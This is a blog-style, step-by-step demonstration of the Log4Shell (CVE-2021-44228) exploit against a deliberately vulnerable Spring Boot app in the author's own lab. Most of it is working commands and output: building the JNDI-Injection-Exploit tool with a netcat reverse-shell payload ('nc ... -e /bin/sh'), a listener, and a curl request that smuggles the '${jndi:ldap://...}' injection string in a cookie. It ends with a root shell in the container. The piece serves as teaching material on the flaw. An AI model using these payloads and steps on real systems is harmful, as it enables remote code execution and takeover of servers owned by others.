This post is a practical demonstration of the Log4Shell Java Log4j logging
vulnerability (aka CVE-2021-44228).
The steps below are taken directly from this blog post on sysdig.com. This demonstration provides a good starting point for understanding the vulnerability.
Video of exploit in action.
Overview
The Log4Shell vulnerability exploded in popularity as the biggest zero day of recent memory in late 2021. The mechanics of the vulnerability are as follows. There’s a Java logging utility called Log4j that is used in many Java applications to write to log files. For the most part Log4j is a benign logging utility. However, the problem with Log4j is that is has a special dangerous feature.
Log4j gives the Java developer access to the JNDI. The JNDI is a Java API which “provides access to a variety of naming and directory services.” In the context of Log4j, the JNDI can be used to specify the location of a remote LDAP server where additional logging parameters can be pulled from.
The problem with allowing this sort of behavior is that sometimes user input can be snuck into a running Java application and interpreted by Log4j leading to RCE. In certain vulnerable Java apps, JNDI access is accidentally made directly available to the user through Log4j. With this access nefarious parties can inject a string like the one below to specify the location of their own LDAP server hosting an RCE payload.
Typical Log4j Injection String:
${jndi:ldap://EXPLOIT_SERVER/RCE_PAYLOAD}
In Practice
Vulnerable JDK Version
First, we have to verify we’re running a vulnerable version of Java. I’m running Java 8, OpenJDK 1.8.
According to the original LunaSec Blog Post;
JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP, except in very specific cases. However, there are other attack vectors targeting this vulnerability which can result in RCE.
Blue@Home:$~> java -version
openjdk version "1.8.0_312"
OpenJDK Runtime Environment (build 1.8.0_312-8u312-b07-0ubuntu1~20.04-b07)
OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)
You can install this on Ubuntu with,
sudo apt install openjdk-8-jdk
Then you can change your Java version with,
sudo update-alternatives --config java
Vulnerable Application
Once we’re setup with the right JDK we’re ready to download and spin up our vulnerable application.
We’ll be using the Docker image linked below which is a vulnerable SpringBoot Java Webapp. You’ll need Docker to build the vulnerable app. Refer to docs for instructions for installing docker.
First clone the repo,
Blue@Home:$tmp> git clone https://github.com/darryk10/log4shell-vulnerable-app
Then cd into the installation dir and build the docker image,
Blue@Home:$tmp> cd log4shell-vulnerable-app
Blue@Home:$log4shell-vulnerable-app> sudo docker build . -t vulnerable-app
Sending build context to Docker daemon 614.9kB
Step 1/9 : FROM gradle:7.3.1-jdk17 AS builder
---> 292487763bf2
Step 2/9 : COPY --chown=gradle:gradle . /home/gradle/src
---> 7166ce8c14f8
Step 3/9 : WORKDIR /home/gradle/src
...
Then open up port 8080 on your computer’s firewall so traffic can get to the webapp. I use ufw so for me the command is,
sudo ufw allow 8080/tcp comment VULN_WEBAPP
Finally, start the docker container.
Blue@Home:$log4shell-vulnerable-app> sudo docker run -p 8080:8080 --name vulnerable-app vulnerable-app
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v2.6.1)
2022-01-07 00:47:26.725 INFO 1 --- [ main] f.c.l.v.VulnerableAppApplication : Starting VulnerableAppApplication using Java 1.8.0_181 on 3128e88705e3 with PID 1 (/app/spring-boot-application.jar started by root in /)
...
Malicious LDAP & HTTP Server
In order to pull this attack off against our vulnerable web app we’ll need an LDAP server and an HTTP server. We could use the bare bones marshalsec utility along with a simple python HTTP server to host the RCE payload. However, I personally have not had much success with that.
Instead, someone else has already built up this JNDI-Injection-Exploit tool around marshalsec which makes the whole process much easier.
With the JNDI-Injection-Exploit tool we can more easily craft and host our malicious payload.
To download it first clone the git repo.
git clone https://github.com/welk1n/JNDI-Injection-Exploit/
Then cd into the install dir and use Maven to build the project. You can install maven on Ubuntu with sudo apt install maven.
Blue@Home:$JNDI-Injection-Exploit> mvn clean package -DskipTests
[INFO] Scanning for projects...
...
[INFO]
[INFO] -------------------< welk1n:JNDI-Injection-Exploit >--------------------
[INFO] Building JNDI-Injection-Exploit 1.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
...
Once the project is built we need to open up some ports that the JNDI-Injection-Exploit tool will use.
sudo ufw allow 1389/tcp comment HTTPSERVER
sudo ufw allow 8180/tcp comment LDAPSERVER
Finally, we’re ready to launch the JNDI-Injection-Exploit tool with our
inputted reverse shell payload.
Blue@Home:$JNDI-Injection-Exploit> java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 192.168.1.203 1234 -e /bin/sh" -A 192.168.1.203
[ADDRESS] >> 192.168.1.203
[COMMAND] >> nc 192.168.1.203 1234 -e /bin/sh
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.1.203:1099/5ya5yu
ldap://192.168.1.203:1389/5ya5yu
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.1.203:1099/icolza
ldap://192.168.1.203:1389/icolza
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.1.203:1099/0nlqd8
----------------------------Server Log----------------------------
2022-01-06 20:11:04 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-06 20:11:04 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-01-06 20:11:04 [LDAPSERVER] >> Listening on 0.0.0.0:1389
Kickoff
Finally, after setting up the vulnerable webapp and the JNDI-Injection-Exploit tool we’re almost ready to go.
We’ll open a new tab and setup a netcat listener to catch our reverse shell.
Blue@Home:$~> nc -lnvp 1234
Listening on 0.0.0.0 1234
Then to trigger the exploit we’ll use curl to make an HTTP request to our vulnerable webapp containing a cookie that is secretly our Log4Shell JNDI inject string.
Blue@Home:$~> curl 127.0.0.1:8080 -b 'blah=${jndi:ldap://192.168.1.203:1389/5ya5yu}'
Cookie Exploited
The above injection code will trigger the Log4j utility in our vulnerable webapp and cause it to make an LDAP request to our JNDI-Injection-Exploit tool. The JNDI-Injection-Exploit tool will then reference the Java RCE class file which is hosted on the HTTP Jettyserver.
----------------------------Server Log----------------------------
2022-01-06 20:11:04 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-06 20:11:04 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-01-06 20:11:04 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2022-01-06 20:21:23 [LDAPSERVER] >> Send LDAP reference result for 5ya5yu redirecting to http://192.168.1.203:8180/ExecTemplateJDK8.class
2022-01-06 20:21:23 [JETTYSERVER]>> Log a request to http://192.168.1.203:8180/ExecTemplateJDK8.class
Aside: That class file is just a serialized Java object containing our reverse shell RCE payload. We can actually see this class file using curl.
Blue@Home:$~> curl http://192.168.1.203:8180/ExecTemplateJDK8.class > ExecTemplateJDK8.class
Blue@Home:$~> cat ExecTemplateJDK8.class
...
<clinit>java/lang/Exception
nc 192.168.1.203 1234 -e /bin/sh
java/lang/Runtime
getRuntime()Ljava/lang/Runtime;
exec'(Ljava/lang/String;)Ljava/lang/Process;
printStackTrace
...
Our webapp then de-serializes the object and triggers the RCE payload, sending a reverse shell to our netcat listener.
Sure enough if we check on our listener we’ll see we caught the shell!
Blue@Home:$~> nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 172.17.0.2 43617
From here we can clearly see we’ve got root inside of a docker container.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
cat /proc/1/cgroup
12:pids:/docker/3128e88705e3515ddd2d08fc1b8c60f7534cd14b9069e68ce82f040637b22124
11:perf_event:/docker/3128e88705e3515ddd2d08fc1b8c60f7534cd14b9069e68ce82f040637b22124
10:cpu,cpuacct:/docker/3128e88705e3515ddd2d08fc1b8c60f7534cd14b9069e68ce82f040637b22124
...
Tada! Log4Shell Achieved!